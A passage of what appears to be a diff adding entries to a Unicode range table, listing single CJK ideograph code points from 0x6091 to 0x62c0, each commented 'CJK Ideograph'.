+ [0x6091, 0x6091], /* CJK Ideograph */
+ [0x6092, 0x6092], /* CJK Ideograph */
+ [0x6093, 0x6093], /* CJK Ideograph */
+ [0x6094, 0x6094], /* CJK Ideograph */
+ [0x6095, 0x6095], /* CJK Ideograph */
+ [0x6096, 0x6096], /* CJK Ideograph */
+ [0x6097, 0x6097], /* CJK Ideograph */
+ [0x6098, 0x6098], /* CJK Ideograph */
+ [0x6099, 0x6099], /* CJK Ideograph */
+ [0x609a, 0x609a], /* CJK Ideograph */
+ [0x609b, 0x609b], /* CJK Ideograph */
+ [0x609c, 0x609c], /* CJK Ideograph */
+ [0x609d, 0x609d], /* CJK Ideograph */
+ [0x609e, 0x609e], /* CJK Ideograph */
+ [0x609f, 0x609f], /* CJK Ideograph */
+ [0x60a0, 0x60a0], /* CJK Ideograph */
+ [0x60a1, 0x60a1], /* CJK Ideograph */
+ [0x60a2, 0x60a2], /* CJK Ideograph */
+ [0x60a3, 0x60a3], /* CJK Ideograph */
+ [0x60a4, 0x60a4], /* CJK Ideograph */
+ [0x60a5, 0x60a5], /* CJK Ideograph */
+ [0x60a6, 0x60a6], /* CJK Ideograph */
+ [0x60a7, 0x60a7], /* CJK Ideograph */
+ [0x60a8, 0x60a8], /* CJK Ideograph */
+ [0x60a9, 0x60a9], /* CJK Ideograph */
+ [0x60aa, 0x60aa], /* CJK Ideograph */
+ [0x60ab, 0x60ab], /* CJK Ideograph */
+ [0x60ac, 0x60ac], /* CJK Ideograph */
+ [0x60ad, 0x60ad], /* CJK Ideograph */
+ [0x60ae, 0x60ae], /* CJK Ideograph */
+ [0x60af, 0x60af], /* CJK Ideograph */
+ [0x60b0, 0x60b0], /* CJK Ideograph */
+ [0x60b1, 0x60b1], /* CJK Ideograph */
+ [0x60b2, 0x60b2], /* CJK Ideograph */
+ [0x60b3, 0x60b3], /* CJK Ideograph */
+ [0x60b4, 0x60b4], /* CJK Ideograph */
+ [0x60b5, 0x60b5], /* CJK Ideograph */
+ [0x60b6, 0x60b6], /* CJK Ideograph */
+ [0x60b7, 0x60b7], /* CJK Ideograph */
+ [0x60b8, 0x60b8], /* CJK Ideograph */
+ [0x60b9, 0x60b9], /* CJK Ideograph */
+ [0x60ba, 0x60ba], /* CJK Ideograph */
+ [0x60bb, 0x60bb], /* CJK Ideograph */
+ [0x60bc, 0x60bc], /* CJK Ideograph */
+ [0x60bd, 0x60bd], /* CJK Ideograph */
+ [0x60be, 0x60be], /* CJK Ideograph */
+ [0x60bf, 0x60bf], /* CJK Ideograph */
+ [0x60c0, 0x60c0], /* CJK Ideograph */
+ [0x60c1, 0x60c1], /* CJK Ideograph */
+ [0x60c2, 0x60c2], /* CJK Ideograph */
+ [0x60c3, 0x60c3], /* CJK Ideograph */
+ [0x60c4, 0x60c4], /* CJK Ideograph */
+ [0x60c5, 0x60c5], /* CJK Ideograph */
+ [0x60c6, 0x60c6], /* CJK Ideograph */
+ [0x60c7, 0x60c7], /* CJK Ideograph */
+ [0x60c8, 0x60c8], /* CJK Ideograph */
+ [0x60c9, 0x60c9], /* CJK Ideograph */
+ [0x60ca, 0x60ca], /* CJK Ideograph */
+ [0x60cb, 0x60cb], /* CJK Ideograph */
+ [0x60cc, 0x60cc], /* CJK Ideograph */
+ [0x60cd, 0x60cd], /* CJK Ideograph */
+ [0x60ce, 0x60ce], /* CJK Ideograph */
+ [0x60cf, 0x60cf], /* CJK Ideograph */
+ [0x60d0, 0x60d0], /* CJK Ideograph */
+ [0x60d1, 0x60d1], /* CJK Ideograph */
+ [0x60d2, 0x60d2], /* CJK Ideograph */
+ [0x60d3, 0x60d3], /* CJK Ideograph */
+ [0x60d4, 0x60d4], /* CJK Ideograph */
+ [0x60d5, 0x60d5], /* CJK Ideograph */
+ [0x60d6, 0x60d6], /* CJK Ideograph */
+ [0x60d7, 0x60d7], /* CJK Ideograph */
+ [0x60d8, 0x60d8], /* CJK Ideograph */
+ [0x60d9, 0x60d9], /* CJK Ideograph */
+ [0x60da, 0x60da], /* CJK Ideograph */
+ [0x60db, 0x60db], /* CJK Ideograph */
+ [0x60dc, 0x60dc], /* CJK Ideograph */
+ [0x60dd, 0x60dd], /* CJK Ideograph */
+ [0x60de, 0x60de], /* CJK Ideograph */
+ [0x60df, 0x60df], /* CJK Ideograph */
+ [0x60e0, 0x60e0], /* CJK Ideograph */
+ [0x60e1, 0x60e1], /* CJK Ideograph */
+ [0x60e2, 0x60e2], /* CJK Ideograph */
+ [0x60e3, 0x60e3], /* CJK Ideograph */
+ [0x60e4, 0x60e4], /* CJK Ideograph */
+ [0x60e5, 0x60e5], /* CJK Ideograph */
+ [0x60e6, 0x60e6], /* CJK Ideograph */
+ [0x60e7, 0x60e7], /* CJK Ideograph */
+ [0x60e8, 0x60e8], /* CJK Ideograph */
+ [0x60e9, 0x60e9], /* CJK Ideograph */
+ [0x60ea, 0x60ea], /* CJK Ideograph */
+ [0x60eb, 0x60eb], /* CJK Ideograph */
+ [0x60ec, 0x60ec], /* CJK Ideograph */
+ [0x60ed, 0x60ed], /* CJK Ideograph */
+ [0x60ee, 0x60ee], /* CJK Ideograph */
+ [0x60ef, 0x60ef], /* CJK Ideograph */
+ [0x60f0, 0x60f0], /* CJK Ideograph */
+ [0x60f1, 0x60f1], /* CJK Ideograph */
+ [0x60f2, 0x60f2], /* CJK Ideograph */
+ [0x60f3, 0x60f3], /* CJK Ideograph */
+ [0x60f4, 0x60f4], /* CJK Ideograph */
+ [0x60f5, 0x60f5], /* CJK Ideograph */
+ [0x60f6, 0x60f6], /* CJK Ideograph */
+ [0x60f7, 0x60f7], /* CJK Ideograph */
+ [0x60f8, 0x60f8], /* CJK Ideograph */
+ [0x60f9, 0x60f9], /* CJK Ideograph */
+ [0x60fa, 0x60fa], /* CJK Ideograph */
+ [0x60fb, 0x60fb], /* CJK Ideograph */
+ [0x60fc, 0x60fc], /* CJK Ideograph */
+ [0x60fd, 0x60fd], /* CJK Ideograph */
+ [0x60fe, 0x60fe], /* CJK Ideograph */
+ [0x60ff, 0x60ff], /* CJK Ideograph */
+ [0x6100, 0x6100], /* CJK Ideograph */
+ [0x6101, 0x6101], /* CJK Ideograph */
+ [0x6102, 0x6102], /* CJK Ideograph */
+ [0x6103, 0x6103], /* CJK Ideograph */
+ [0x6104, 0x6104], /* CJK Ideograph */
+ [0x6105, 0x6105], /* CJK Ideograph */
+ [0x6106, 0x6106], /* CJK Ideograph */
+ [0x6107, 0x6107], /* CJK Ideograph */
+ [0x6108, 0x6108], /* CJK Ideograph */
+ [0x6109, 0x6109], /* CJK Ideograph */
+ [0x610a, 0x610a], /* CJK Ideograph */
+ [0x610b, 0x610b], /* CJK Ideograph */
+ [0x610c, 0x610c], /* CJK Ideograph */
+ [0x610d, 0x610d], /* CJK Ideograph */
+ [0x610e, 0x610e], /* CJK Ideograph */
+ [0x610f, 0x610f], /* CJK Ideograph */
+ [0x6110, 0x6110], /* CJK Ideograph */
+ [0x6111, 0x6111], /* CJK Ideograph */
+ [0x6112, 0x6112], /* CJK Ideograph */
+ [0x6113, 0x6113], /* CJK Ideograph */
+ [0x6114, 0x6114], /* CJK Ideograph */
+ [0x6115, 0x6115], /* CJK Ideograph */
+ [0x6116, 0x6116], /* CJK Ideograph */
+ [0x6117, 0x6117], /* CJK Ideograph */
+ [0x6118, 0x6118], /* CJK Ideograph */
+ [0x6119, 0x6119], /* CJK Ideograph */
+ [0x611a, 0x611a], /* CJK Ideograph */
+ [0x611b, 0x611b], /* CJK Ideograph */
+ [0x611c, 0x611c], /* CJK Ideograph */
+ [0x611d, 0x611d], /* CJK Ideograph */
+ [0x611e, 0x611e], /* CJK Ideograph */
+ [0x611f, 0x611f], /* CJK Ideograph */
+ [0x6120, 0x6120], /* CJK Ideograph */
+ [0x6121, 0x6121], /* CJK Ideograph */
+ [0x6122, 0x6122], /* CJK Ideograph */
+ [0x6123, 0x6123], /* CJK Ideograph */
+ [0x6124, 0x6124], /* CJK Ideograph */
+ [0x6125, 0x6125], /* CJK Ideograph */
+ [0x6126, 0x6126], /* CJK Ideograph */
+ [0x6127, 0x6127], /* CJK Ideograph */
+ [0x6128, 0x6128], /* CJK Ideograph */
+ [0x6129, 0x6129], /* CJK Ideograph */
+ [0x612a, 0x612a], /* CJK Ideograph */
+ [0x612b, 0x612b], /* CJK Ideograph */
+ [0x612c, 0x612c], /* CJK Ideograph */
+ [0x612d, 0x612d], /* CJK Ideograph */
+ [0x612e, 0x612e], /* CJK Ideograph */
+ [0x612f, 0x612f], /* CJK Ideograph */
+ [0x6130, 0x6130], /* CJK Ideograph */
+ [0x6131, 0x6131], /* CJK Ideograph */
+ [0x6132, 0x6132], /* CJK Ideograph */
+ [0x6133, 0x6133], /* CJK Ideograph */
+ [0x6134, 0x6134], /* CJK Ideograph */
+ [0x6135, 0x6135], /* CJK Ideograph */
+ [0x6136, 0x6136], /* CJK Ideograph */
+ [0x6137, 0x6137], /* CJK Ideograph */
+ [0x6138, 0x6138], /* CJK Ideograph */
+ [0x6139, 0x6139], /* CJK Ideograph */
+ [0x613a, 0x613a], /* CJK Ideograph */
+ [0x613b, 0x613b], /* CJK Ideograph */
+ [0x613c, 0x613c], /* CJK Ideograph */
+ [0x613d, 0x613d], /* CJK Ideograph */
+ [0x613e, 0x613e], /* CJK Ideograph */
+ [0x613f, 0x613f], /* CJK Ideograph */
+ [0x6140, 0x6140], /* CJK Ideograph */
+ [0x6141, 0x6141], /* CJK Ideograph */
+ [0x6142, 0x6142], /* CJK Ideograph */
+ [0x6143, 0x6143], /* CJK Ideograph */
+ [0x6144, 0x6144], /* CJK Ideograph */
+ [0x6145, 0x6145], /* CJK Ideograph */
+ [0x6146, 0x6146], /* CJK Ideograph */
+ [0x6147, 0x6147], /* CJK Ideograph */
+ [0x6148, 0x6148], /* CJK Ideograph */
+ [0x6149, 0x6149], /* CJK Ideograph */
+ [0x614a, 0x614a], /* CJK Ideograph */
+ [0x614b, 0x614b], /* CJK Ideograph */
+ [0x614c, 0x614c], /* CJK Ideograph */
+ [0x614d, 0x614d], /* CJK Ideograph */
+ [0x614e, 0x614e], /* CJK Ideograph */
+ [0x614f, 0x614f], /* CJK Ideograph */
+ [0x6150, 0x6150], /* CJK Ideograph */
+ [0x6151, 0x6151], /* CJK Ideograph */
+ [0x6152, 0x6152], /* CJK Ideograph */
+ [0x6153, 0x6153], /* CJK Ideograph */
+ [0x6154, 0x6154], /* CJK Ideograph */
+ [0x6155, 0x6155], /* CJK Ideograph */
+ [0x6156, 0x6156], /* CJK Ideograph */
+ [0x6157, 0x6157], /* CJK Ideograph */
+ [0x6158, 0x6158], /* CJK Ideograph */
+ [0x6159, 0x6159], /* CJK Ideograph */
+ [0x615a, 0x615a], /* CJK Ideograph */
+ [0x615b, 0x615b], /* CJK Ideograph */
+ [0x615c, 0x615c], /* CJK Ideograph */
+ [0x615d, 0x615d], /* CJK Ideograph */
+ [0x615e, 0x615e], /* CJK Ideograph */
+ [0x615f, 0x615f], /* CJK Ideograph */
+ [0x6160, 0x6160], /* CJK Ideograph */
+ [0x6161, 0x6161], /* CJK Ideograph */
+ [0x6162, 0x6162], /* CJK Ideograph */
+ [0x6163, 0x6163], /* CJK Ideograph */
+ [0x6164, 0x6164], /* CJK Ideograph */
+ [0x6165, 0x6165], /* CJK Ideograph */
+ [0x6166, 0x6166], /* CJK Ideograph */
+ [0x6167, 0x6167], /* CJK Ideograph */
+ [0x6168, 0x6168], /* CJK Ideograph */
+ [0x6169, 0x6169], /* CJK Ideograph */
+ [0x616a, 0x616a], /* CJK Ideograph */
+ [0x616b, 0x616b], /* CJK Ideograph */
+ [0x616c, 0x616c], /* CJK Ideograph */
+ [0x616d, 0x616d], /* CJK Ideograph */
+ [0x616e, 0x616e], /* CJK Ideograph */
+ [0x616f, 0x616f], /* CJK Ideograph */
+ [0x6170, 0x6170], /* CJK Ideograph */
+ [0x6171, 0x6171], /* CJK Ideograph */
+ [0x6172, 0x6172], /* CJK Ideograph */
+ [0x6173, 0x6173], /* CJK Ideograph */
+ [0x6174, 0x6174], /* CJK Ideograph */
+ [0x6175, 0x6175], /* CJK Ideograph */
+ [0x6176, 0x6176], /* CJK Ideograph */
+ [0x6177, 0x6177], /* CJK Ideograph */
+ [0x6178, 0x6178], /* CJK Ideograph */
+ [0x6179, 0x6179], /* CJK Ideograph */
+ [0x617a, 0x617a], /* CJK Ideograph */
+ [0x617b, 0x617b], /* CJK Ideograph */
+ [0x617c, 0x617c], /* CJK Ideograph */
+ [0x617d, 0x617d], /* CJK Ideograph */
+ [0x617e, 0x617e], /* CJK Ideograph */
+ [0x617f, 0x617f], /* CJK Ideograph */
+ [0x6180, 0x6180], /* CJK Ideograph */
+ [0x6181, 0x6181], /* CJK Ideograph */
+ [0x6182, 0x6182], /* CJK Ideograph */
+ [0x6183, 0x6183], /* CJK Ideograph */
+ [0x6184, 0x6184], /* CJK Ideograph */
+ [0x6185, 0x6185], /* CJK Ideograph */
+ [0x6186, 0x6186], /* CJK Ideograph */
+ [0x6187, 0x6187], /* CJK Ideograph */
+ [0x6188, 0x6188], /* CJK Ideograph */
+ [0x6189, 0x6189], /* CJK Ideograph */
+ [0x618a, 0x618a], /* CJK Ideograph */
+ [0x618b, 0x618b], /* CJK Ideograph */
+ [0x618c, 0x618c], /* CJK Ideograph */
+ [0x618d, 0x618d], /* CJK Ideograph */
+ [0x618e, 0x618e], /* CJK Ideograph */
+ [0x618f, 0x618f], /* CJK Ideograph */
+ [0x6190, 0x6190], /* CJK Ideograph */
+ [0x6191, 0x6191], /* CJK Ideograph */
+ [0x6192, 0x6192], /* CJK Ideograph */
+ [0x6193, 0x6193], /* CJK Ideograph */
+ [0x6194, 0x6194], /* CJK Ideograph */
+ [0x6195, 0x6195], /* CJK Ideograph */
+ [0x6196, 0x6196], /* CJK Ideograph */
+ [0x6197, 0x6197], /* CJK Ideograph */
+ [0x6198, 0x6198], /* CJK Ideograph */
+ [0x6199, 0x6199], /* CJK Ideograph */
+ [0x619a, 0x619a], /* CJK Ideograph */
+ [0x619b, 0x619b], /* CJK Ideograph */
+ [0x619c, 0x619c], /* CJK Ideograph */
+ [0x619d, 0x619d], /* CJK Ideograph */
+ [0x619e, 0x619e], /* CJK Ideograph */
+ [0x619f, 0x619f], /* CJK Ideograph */
+ [0x61a0, 0x61a0], /* CJK Ideograph */
+ [0x61a1, 0x61a1], /* CJK Ideograph */
+ [0x61a2, 0x61a2], /* CJK Ideograph */
+ [0x61a3, 0x61a3], /* CJK Ideograph */
+ [0x61a4, 0x61a4], /* CJK Ideograph */
+ [0x61a5, 0x61a5], /* CJK Ideograph */
+ [0x61a6, 0x61a6], /* CJK Ideograph */
+ [0x61a7, 0x61a7], /* CJK Ideograph */
+ [0x61a8, 0x61a8], /* CJK Ideograph */
+ [0x61a9, 0x61a9], /* CJK Ideograph */
+ [0x61aa, 0x61aa], /* CJK Ideograph */
+ [0x61ab, 0x61ab], /* CJK Ideograph */
+ [0x61ac, 0x61ac], /* CJK Ideograph */
+ [0x61ad, 0x61ad], /* CJK Ideograph */
+ [0x61ae, 0x61ae], /* CJK Ideograph */
+ [0x61af, 0x61af], /* CJK Ideograph */
+ [0x61b0, 0x61b0], /* CJK Ideograph */
+ [0x61b1, 0x61b1], /* CJK Ideograph */
+ [0x61b2, 0x61b2], /* CJK Ideograph */
+ [0x61b3, 0x61b3], /* CJK Ideograph */
+ [0x61b4, 0x61b4], /* CJK Ideograph */
+ [0x61b5, 0x61b5], /* CJK Ideograph */
+ [0x61b6, 0x61b6], /* CJK Ideograph */
+ [0x61b7, 0x61b7], /* CJK Ideograph */
+ [0x61b8, 0x61b8], /* CJK Ideograph */
+ [0x61b9, 0x61b9], /* CJK Ideograph */
+ [0x61ba, 0x61ba], /* CJK Ideograph */
+ [0x61bb, 0x61bb], /* CJK Ideograph */
+ [0x61bc, 0x61bc], /* CJK Ideograph */
+ [0x61bd, 0x61bd], /* CJK Ideograph */
+ [0x61be, 0x61be], /* CJK Ideograph */
+ [0x61bf, 0x61bf], /* CJK Ideograph */
+ [0x61c0, 0x61c0], /* CJK Ideograph */
+ [0x61c1, 0x61c1], /* CJK Ideograph */
+ [0x61c2, 0x61c2], /* CJK Ideograph */
+ [0x61c3, 0x61c3], /* CJK Ideograph */
+ [0x61c4, 0x61c4], /* CJK Ideograph */
+ [0x61c5, 0x61c5], /* CJK Ideograph */
+ [0x61c6, 0x61c6], /* CJK Ideograph */
+ [0x61c7, 0x61c7], /* CJK Ideograph */
+ [0x61c8, 0x61c8], /* CJK Ideograph */
+ [0x61c9, 0x61c9], /* CJK Ideograph */
+ [0x61ca, 0x61ca], /* CJK Ideograph */
+ [0x61cb, 0x61cb], /* CJK Ideograph */
+ [0x61cc, 0x61cc], /* CJK Ideograph */
+ [0x61cd, 0x61cd], /* CJK Ideograph */
+ [0x61ce, 0x61ce], /* CJK Ideograph */
+ [0x61cf, 0x61cf], /* CJK Ideograph */
+ [0x61d0, 0x61d0], /* CJK Ideograph */
+ [0x61d1, 0x61d1], /* CJK Ideograph */
+ [0x61d2, 0x61d2], /* CJK Ideograph */
+ [0x61d3, 0x61d3], /* CJK Ideograph */
+ [0x61d4, 0x61d4], /* CJK Ideograph */
+ [0x61d5, 0x61d5], /* CJK Ideograph */
+ [0x61d6, 0x61d6], /* CJK Ideograph */
+ [0x61d7, 0x61d7], /* CJK Ideograph */
+ [0x61d8, 0x61d8], /* CJK Ideograph */
+ [0x61d9, 0x61d9], /* CJK Ideograph */
+ [0x61da, 0x61da], /* CJK Ideograph */
+ [0x61db, 0x61db], /* CJK Ideograph */
+ [0x61dc, 0x61dc], /* CJK Ideograph */
+ [0x61dd, 0x61dd], /* CJK Ideograph */
+ [0x61de, 0x61de], /* CJK Ideograph */
+ [0x61df, 0x61df], /* CJK Ideograph */
+ [0x61e0, 0x61e0], /* CJK Ideograph */
+ [0x61e1, 0x61e1], /* CJK Ideograph */
+ [0x61e2, 0x61e2], /* CJK Ideograph */
+ [0x61e3, 0x61e3], /* CJK Ideograph */
+ [0x61e4, 0x61e4], /* CJK Ideograph */
+ [0x61e5, 0x61e5], /* CJK Ideograph */
+ [0x61e6, 0x61e6], /* CJK Ideograph */
+ [0x61e7, 0x61e7], /* CJK Ideograph */
+ [0x61e8, 0x61e8], /* CJK Ideograph */
+ [0x61e9, 0x61e9], /* CJK Ideograph */
+ [0x61ea, 0x61ea], /* CJK Ideograph */
+ [0x61eb, 0x61eb], /* CJK Ideograph */
+ [0x61ec, 0x61ec], /* CJK Ideograph */
+ [0x61ed, 0x61ed], /* CJK Ideograph */
+ [0x61ee, 0x61ee], /* CJK Ideograph */
+ [0x61ef, 0x61ef], /* CJK Ideograph */
+ [0x61f0, 0x61f0], /* CJK Ideograph */
+ [0x61f1, 0x61f1], /* CJK Ideograph */
+ [0x61f2, 0x61f2], /* CJK Ideograph */
+ [0x61f3, 0x61f3], /* CJK Ideograph */
+ [0x61f4, 0x61f4], /* CJK Ideograph */
+ [0x61f5, 0x61f5], /* CJK Ideograph */
+ [0x61f6, 0x61f6], /* CJK Ideograph */
+ [0x61f7, 0x61f7], /* CJK Ideograph */
+ [0x61f8, 0x61f8], /* CJK Ideograph */
+ [0x61f9, 0x61f9], /* CJK Ideograph */
+ [0x61fa, 0x61fa], /* CJK Ideograph */
+ [0x61fb, 0x61fb], /* CJK Ideograph */
+ [0x61fc, 0x61fc], /* CJK Ideograph */
+ [0x61fd, 0x61fd], /* CJK Ideograph */
+ [0x61fe, 0x61fe], /* CJK Ideograph */
+ [0x61ff, 0x61ff], /* CJK Ideograph */
+ [0x6200, 0x6200], /* CJK Ideograph */
+ [0x6201, 0x6201], /* CJK Ideograph */
+ [0x6202, 0x6202], /* CJK Ideograph */
+ [0x6203, 0x6203], /* CJK Ideograph */
+ [0x6204, 0x6204], /* CJK Ideograph */
+ [0x6205, 0x6205], /* CJK Ideograph */
+ [0x6206, 0x6206], /* CJK Ideograph */
+ [0x6207, 0x6207], /* CJK Ideograph */
+ [0x6208, 0x6208], /* CJK Ideograph */
+ [0x6209, 0x6209], /* CJK Ideograph */
+ [0x620a, 0x620a], /* CJK Ideograph */
+ [0x620b, 0x620b], /* CJK Ideograph */
+ [0x620c, 0x620c], /* CJK Ideograph */
+ [0x620d, 0x620d], /* CJK Ideograph */
+ [0x620e, 0x620e], /* CJK Ideograph */
+ [0x620f, 0x620f], /* CJK Ideograph */
+ [0x6210, 0x6210], /* CJK Ideograph */
+ [0x6211, 0x6211], /* CJK Ideograph */
+ [0x6212, 0x6212], /* CJK Ideograph */
+ [0x6213, 0x6213], /* CJK Ideograph */
+ [0x6214, 0x6214], /* CJK Ideograph */
+ [0x6215, 0x6215], /* CJK Ideograph */
+ [0x6216, 0x6216], /* CJK Ideograph */
+ [0x6217, 0x6217], /* CJK Ideograph */
+ [0x6218, 0x6218], /* CJK Ideograph */
+ [0x6219, 0x6219], /* CJK Ideograph */
+ [0x621a, 0x621a], /* CJK Ideograph */
+ [0x621b, 0x621b], /* CJK Ideograph */
+ [0x621c, 0x621c], /* CJK Ideograph */
+ [0x621d, 0x621d], /* CJK Ideograph */
+ [0x621e, 0x621e], /* CJK Ideograph */
+ [0x621f, 0x621f], /* CJK Ideograph */
+ [0x6220, 0x6220], /* CJK Ideograph */
+ [0x6221, 0x6221], /* CJK Ideograph */
+ [0x6222, 0x6222], /* CJK Ideograph */
+ [0x6223, 0x6223], /* CJK Ideograph */
+ [0x6224, 0x6224], /* CJK Ideograph */
+ [0x6225, 0x6225], /* CJK Ideograph */
+ [0x6226, 0x6226], /* CJK Ideograph */
+ [0x6227, 0x6227], /* CJK Ideograph */
+ [0x6228, 0x6228], /* CJK Ideograph */
+ [0x6229, 0x6229], /* CJK Ideograph */
+ [0x622a, 0x622a], /* CJK Ideograph */
+ [0x622b, 0x622b], /* CJK Ideograph */
+ [0x622c, 0x622c], /* CJK Ideograph */
+ [0x622d, 0x622d], /* CJK Ideograph */
+ [0x622e, 0x622e], /* CJK Ideograph */
+ [0x622f, 0x622f], /* CJK Ideograph */
+ [0x6230, 0x6230], /* CJK Ideograph */
+ [0x6231, 0x6231], /* CJK Ideograph */
+ [0x6232, 0x6232], /* CJK Ideograph */
+ [0x6233, 0x6233], /* CJK Ideograph */
+ [0x6234, 0x6234], /* CJK Ideograph */
+ [0x6235, 0x6235], /* CJK Ideograph */
+ [0x6236, 0x6236], /* CJK Ideograph */
+ [0x6237, 0x6237], /* CJK Ideograph */
+ [0x6238, 0x6238], /* CJK Ideograph */
+ [0x6239, 0x6239], /* CJK Ideograph */
+ [0x623a, 0x623a], /* CJK Ideograph */
+ [0x623b, 0x623b], /* CJK Ideograph */
+ [0x623c, 0x623c], /* CJK Ideograph */
+ [0x623d, 0x623d], /* CJK Ideograph */
+ [0x623e, 0x623e], /* CJK Ideograph */
+ [0x623f, 0x623f], /* CJK Ideograph */
+ [0x6240, 0x6240], /* CJK Ideograph */
+ [0x6241, 0x6241], /* CJK Ideograph */
+ [0x6242, 0x6242], /* CJK Ideograph */
+ [0x6243, 0x6243], /* CJK Ideograph */
+ [0x6244, 0x6244], /* CJK Ideograph */
+ [0x6245, 0x6245], /* CJK Ideograph */
+ [0x6246, 0x6246], /* CJK Ideograph */
+ [0x6247, 0x6247], /* CJK Ideograph */
+ [0x6248, 0x6248], /* CJK Ideograph */
+ [0x6249, 0x6249], /* CJK Ideograph */
+ [0x624a, 0x624a], /* CJK Ideograph */
+ [0x624b, 0x624b], /* CJK Ideograph */
+ [0x624c, 0x624c], /* CJK Ideograph */
+ [0x624d, 0x624d], /* CJK Ideograph */
+ [0x624e, 0x624e], /* CJK Ideograph */
+ [0x624f, 0x624f], /* CJK Ideograph */
+ [0x6250, 0x6250], /* CJK Ideograph */
+ [0x6251, 0x6251], /* CJK Ideograph */
+ [0x6252, 0x6252], /* CJK Ideograph */
+ [0x6253, 0x6253], /* CJK Ideograph */
+ [0x6254, 0x6254], /* CJK Ideograph */
+ [0x6255, 0x6255], /* CJK Ideograph */
+ [0x6256, 0x6256], /* CJK Ideograph */
+ [0x6257, 0x6257], /* CJK Ideograph */
+ [0x6258, 0x6258], /* CJK Ideograph */
+ [0x6259, 0x6259], /* CJK Ideograph */
+ [0x625a, 0x625a], /* CJK Ideograph */
+ [0x625b, 0x625b], /* CJK Ideograph */
+ [0x625c, 0x625c], /* CJK Ideograph */
+ [0x625d, 0x625d], /* CJK Ideograph */
+ [0x625e, 0x625e], /* CJK Ideograph */
+ [0x625f, 0x625f], /* CJK Ideograph */
+ [0x6260, 0x6260], /* CJK Ideograph */
+ [0x6261, 0x6261], /* CJK Ideograph */
+ [0x6262, 0x6262], /* CJK Ideograph */
+ [0x6263, 0x6263], /* CJK Ideograph */
+ [0x6264, 0x6264], /* CJK Ideograph */
+ [0x6265, 0x6265], /* CJK Ideograph */
+ [0x6266, 0x6266], /* CJK Ideograph */
+ [0x6267, 0x6267], /* CJK Ideograph */
+ [0x6268, 0x6268], /* CJK Ideograph */
+ [0x6269, 0x6269], /* CJK Ideograph */
+ [0x626a, 0x626a], /* CJK Ideograph */
+ [0x626b, 0x626b], /* CJK Ideograph */
+ [0x626c, 0x626c], /* CJK Ideograph */
+ [0x626d, 0x626d], /* CJK Ideograph */
+ [0x626e, 0x626e], /* CJK Ideograph */
+ [0x626f, 0x626f], /* CJK Ideograph */
+ [0x6270, 0x6270], /* CJK Ideograph */
+ [0x6271, 0x6271], /* CJK Ideograph */
+ [0x6272, 0x6272], /* CJK Ideograph */
+ [0x6273, 0x6273], /* CJK Ideograph */
+ [0x6274, 0x6274], /* CJK Ideograph */
+ [0x6275, 0x6275], /* CJK Ideograph */
+ [0x6276, 0x6276], /* CJK Ideograph */
+ [0x6277, 0x6277], /* CJK Ideograph */
+ [0x6278, 0x6278], /* CJK Ideograph */
+ [0x6279, 0x6279], /* CJK Ideograph */
+ [0x627a, 0x627a], /* CJK Ideograph */
+ [0x627b, 0x627b], /* CJK Ideograph */
+ [0x627c, 0x627c], /* CJK Ideograph */
+ [0x627d, 0x627d], /* CJK Ideograph */
+ [0x627e, 0x627e], /* CJK Ideograph */
+ [0x627f, 0x627f], /* CJK Ideograph */
+ [0x6280, 0x6280], /* CJK Ideograph */
+ [0x6281, 0x6281], /* CJK Ideograph */
+ [0x6282, 0x6282], /* CJK Ideograph */
+ [0x6283, 0x6283], /* CJK Ideograph */
+ [0x6284, 0x6284], /* CJK Ideograph */
+ [0x6285, 0x6285], /* CJK Ideograph */
+ [0x6286, 0x6286], /* CJK Ideograph */
+ [0x6287, 0x6287], /* CJK Ideograph */
+ [0x6288, 0x6288], /* CJK Ideograph */
+ [0x6289, 0x6289], /* CJK Ideograph */
+ [0x628a, 0x628a], /* CJK Ideograph */
+ [0x628b, 0x628b], /* CJK Ideograph */
+ [0x628c, 0x628c], /* CJK Ideograph */
+ [0x628d, 0x628d], /* CJK Ideograph */
+ [0x628e, 0x628e], /* CJK Ideograph */
+ [0x628f, 0x628f], /* CJK Ideograph */
+ [0x6290, 0x6290], /* CJK Ideograph */
+ [0x6291, 0x6291], /* CJK Ideograph */
+ [0x6292, 0x6292], /* CJK Ideograph */
+ [0x6293, 0x6293], /* CJK Ideograph */
+ [0x6294, 0x6294], /* CJK Ideograph */
+ [0x6295, 0x6295], /* CJK Ideograph */
+ [0x6296, 0x6296], /* CJK Ideograph */
+ [0x6297, 0x6297], /* CJK Ideograph */
+ [0x6298, 0x6298], /* CJK Ideograph */
+ [0x6299, 0x6299], /* CJK Ideograph */
+ [0x629a, 0x629a], /* CJK Ideograph */
+ [0x629b, 0x629b], /* CJK Ideograph */
+ [0x629c, 0x629c], /* CJK Ideograph */
+ [0x629d, 0x629d], /* CJK Ideograph */
+ [0x629e, 0x629e], /* CJK Ideograph */
+ [0x629f, 0x629f], /* CJK Ideograph */
+ [0x62a0, 0x62a0], /* CJK Ideograph */
+ [0x62a1, 0x62a1], /* CJK Ideograph */
+ [0x62a2, 0x62a2], /* CJK Ideograph */
+ [0x62a3, 0x62a3], /* CJK Ideograph */
+ [0x62a4, 0x62a4], /* CJK Ideograph */
+ [0x62a5, 0x62a5], /* CJK Ideograph */
+ [0x62a6, 0x62a6], /* CJK Ideograph */
+ [0x62a7, 0x62a7], /* CJK Ideograph */
+ [0x62a8, 0x62a8], /* CJK Ideograph */
+ [0x62a9, 0x62a9], /* CJK Ideograph */
+ [0x62aa, 0x62aa], /* CJK Ideograph */
+ [0x62ab, 0x62ab], /* CJK Ideograph */
+ [0x62ac, 0x62ac], /* CJK Ideograph */
+ [0x62ad, 0x62ad], /* CJK Ideograph */
+ [0x62ae, 0x62ae], /* CJK Ideograph */
+ [0x62af, 0x62af], /* CJK Ideograph */
+ [0x62b0, 0x62b0], /* CJK Ideograph */
+ [0x62b1, 0x62b1], /* CJK Ideograph */
+ [0x62b2, 0x62b2], /* CJK Ideograph */
+ [0x62b3, 0x62b3], /* CJK Ideograph */
+ [0x62b4, 0x62b4], /* CJK Ideograph */
+ [0x62b5, 0x62b5], /* CJK Ideograph */
+ [0x62b6, 0x62b6], /* CJK Ideograph */
+ [0x62b7, 0x62b7], /* CJK Ideograph */
+ [0x62b8, 0x62b8], /* CJK Ideograph */
+ [0x62b9, 0x62b9], /* CJK Ideograph */
+ [0x62ba, 0x62ba], /* CJK Ideograph */
+ [0x62bb, 0x62bb], /* CJK Ideograph */
+ [0x62bc, 0x62bc], /* CJK Ideograph */
+ [0x62bd, 0x62bd], /* CJK Ideograph */
+ [0x62be, 0x62be], /* CJK Ideograph */
+ [0x62bf, 0x62bf], /* CJK Ideograph */
+ [0x62c0, 0x62c0], /* CJK Ideograph */
